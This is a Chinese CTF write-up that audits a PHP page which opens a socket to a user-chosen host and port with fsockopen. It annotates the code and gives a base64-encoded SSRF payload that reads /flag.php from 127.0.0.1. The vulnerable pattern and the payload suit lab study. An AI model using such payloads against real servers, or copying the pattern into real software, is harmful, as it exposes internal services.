本文最后更新于99 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
1.跳转index.php页面

2.代码审计
<?php
highlight_file(__FILE__);
//这行代码会高亮显示当前文件的源代码。__FILE__ 是一个魔术常量,它包含了当前文件的路径。
error_reporting(0);
//这行代码关闭了所有的错误报告。通常用于生产环境中,以防止错误信息泄露给用户或攻击者。
$data=base64_decode($_GET['data']);
// 从GET请求中获取名为data的参数,并对其进行Base64解码,解码后的数据存储在变量$data中。
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
//行代码尝试使用fsockopen函数打开一个到指定主机和端口的socket连接。如果连接失败,$error和$errstr变量将被设置,但在这个脚本中它们并没有被使用。host为主机地址或ip,port是端口号
if(!$fp) {
die();
}
//如果fsockopen函数返回false,意味着连接失败,脚本将调用die()函数终止执行。
else { fwrite($fp,$data);
//将之前解码的数据$data写入到socket连接中。
while(!feof($data))
//这行代码开始一个循环,只要文件指针没有到达$data的末尾,循环就会继续。
{
echo fgets($fp,128);
//从socket连接中读取一行数据(最多128个字符),并将其输出到浏览器。
} fclose($fp);
// 这行代码关闭socket连接。
}
fsockopen
函数发送 HTTP 请求并获取响应
所以我们尝试方式http请求读取flag.php
data:
GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Close //客户端希望在本次请求 – 响应交互完成后,关闭与服务器建立的 TCP 连接。
payload:
?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
总结
ssrf
fsockopen
函数
语法:
resource fsockopen ( string $hostname, int $port [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]] )
。其中,$hostname
是要连接的主机名或 IP 地址,$port
是目标服务的端口号,$errno
和$errstr
是可选参数,用于获取连接错误时的错误码和错误信息,$timeout
是连接超时时间(默认为ini_get("default_socket_timeout")
)。